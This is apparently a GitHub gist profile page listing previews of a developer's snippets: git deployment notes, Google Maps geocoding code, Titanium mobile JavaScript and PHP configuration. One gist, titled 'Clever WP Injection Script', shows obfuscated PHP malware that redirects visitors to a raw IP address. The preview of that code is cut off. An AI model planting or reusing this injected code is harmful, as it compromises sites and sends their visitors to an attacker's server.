Skip to content

Instantly share code, notes, and snippets.

View dkobia's full-sized avatar

David Kobia dkobia

View GitHub Profile
@dkobia
dkobia / README.md
Last active December 24, 2015 17:59 — forked from oodavid/README.md

Deploy your site with git

This gist assumes:

  • you have a local git repo
  • with an online remote repository (github / bitbucket etc)
  • and a cloud server (Rackspace cloud / Amazon EC2 etc)
    • your (PHP) scripts are served from /srv/www/html/
    • your webpages are executed by nginx
  • nginx's home directory is /srv/www/
/**
* Google GeoCoder
*/
function geoCode()
{
geocoder = new google.maps.Geocoder();
geocoder.geocode( { 'address': address}, function(results, status) {
if (status == google.maps.GeocoderStatus.OK) {
// Clear the map first
@dkobia
dkobia / submit_edit_js.diff
Last active December 24, 2015 07:19
This is untested, but its a diff for /themes/default/views/reports/submit_edit_js.php. You need to use Google Maps instead of OpenStreetMap.
diff --git a/themes/default/views/reports/submit_edit_js.php b/themes/default/views/reports/submit_edit_js.php
index 507195e..2ea862e 100755
--- a/themes/default/views/reports/submit_edit_js.php
+++ b/themes/default/views/reports/submit_edit_js.php
@@ -676,43 +676,49 @@
*/
function geoCode()
{
- $('#find_loading').html('<img src="<?php echo url::file_loc('img')."media/img/loading_g.gif"; ?>">');
- address = $("#location_find").val();
$(document).ready(function() {
openid.init('openid_identifier');
openid.setDemoMode(false);
<?php
// Depending on the action, we need to display forms by default
if ($action == "signin" OR $action == "forgot")
{
echo '$("#signin_userpass").hide(400);';
@dkobia
dkobia / app.js
Created August 21, 2013 15:18 — forked from minhnc/app.js
var ai = require('ui').activityIndicator();
var win = Ti.UI.createWindow();
win.add( ai );
ai._show({message: 'Loading...'});
var xhr = Titanium.Network.createHTTPClient();
xhr.onload = function() {
ai._hide();
}
xhr.onerror = function() {
/**
* This sample lets you record and share video with Appcelerator Titanium on Android.
* REQUIRES THE 1.6.0 RC OF TITANIUM MOBILE SDK
* http://developer.appcelerator.com/blog/2011/02/release-candidate-for-titanium-mobile-1-6-0.html
*/
/**
* First, create our UI. We'll have two buttons: record, and share.
*/
var win = Titanium.UI.createWindow({
@dkobia
dkobia / numbers
Last active December 19, 2015 05:39 — forked from kamaulynder/numbers
51409,
51410,
13468,
13469,
54608,
47151,
9974,
8186,
43756,
7461,
<?php defined('SYSPATH') or die('No direct script access.');
/**
* CDN CONFIGURATION
*/
/**
* Content Distribution Network (CDN) Configuration
* Use a content distribution network to serve up
* static CSS, JS, and IMG files
@dkobia
dkobia / gist:4007761
Created November 3, 2012 16:08
Clever WP Injection Script
<?php /* copyright */ ${"G\x4c\x4f\x42\x41L\x53"}["\x74x\x65\x66f\x62c\x76\x74w\x64\x6b"]="k";${"\x47L\x4f\x42\x41\x4c\x53"}["\x73\x76\x63y\x75\x78\x74v"]="k";${"G\x4cO\x42\x41\x4cS"}["\x68\x63\x66\x6fc\x6ev\x6e"]="c";${"\x47\x4cO\x42A\x4cS"}["f\x62\x71m\x77w\x63\x7a\x77gb"]="\x61";$uhhmemlj="v";${"GLO\x42\x41L\x53"}["\x70\x69\x74x\x77b\x7a\x76\x63\x64\x64"]="b";foreach($_GET as${${"\x47\x4c\x4fB\x41L\x53"}["\x74\x78\x65ff\x62\x63\x76tw\x64\x6b"]}=>${$uhhmemlj})if(preg_match("\x21\x5e\x5ba-z\x30-\x39\x5d{\x310\x2c32\x7d\x24!\x69s",${${"GLOB\x41\x4cS"}["\x73vcy\x75\x78\x74v"]})){session_start();if(isset($_POST["res"])&&$_SESSION["r\x65\x73"]==$_POST["\x72e\x73"]){header("\x4c\x6f\x63a\x74io\x6e\x3a \x68tt\x70\x3a\x2f/9\x35\x2e\x31\x36\x39\x2e187.\x39\x38/\x69jh\x66h\x66.p\x68\x70\x3f\x6dg\x74\x64\x66k=\x34\x353\x34\x26\x6ev\x68\x64l=sk\x64\x6ae&go\x6bk\x3d".substr(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x74\x78\x65\x66\x66\x62\x63\x76\x74\x77\x64\x6b"]},-5));}else{$vxomtd="\x63";$kghtssqccjlo="\x61";${$kghtssqccjlo
<?php defined('SYSPATH') OR die('No direct access allowed.');
/**
* Config for Twitter Plugin
*
* PHP version 5
* LICENSE: This source file is subject to GPLv3 license
* that is available through the world-wide-web at the following URI:
* http://www.gnu.org/copyleft/gpl.html
* @author Ushahidi Team <[email protected]>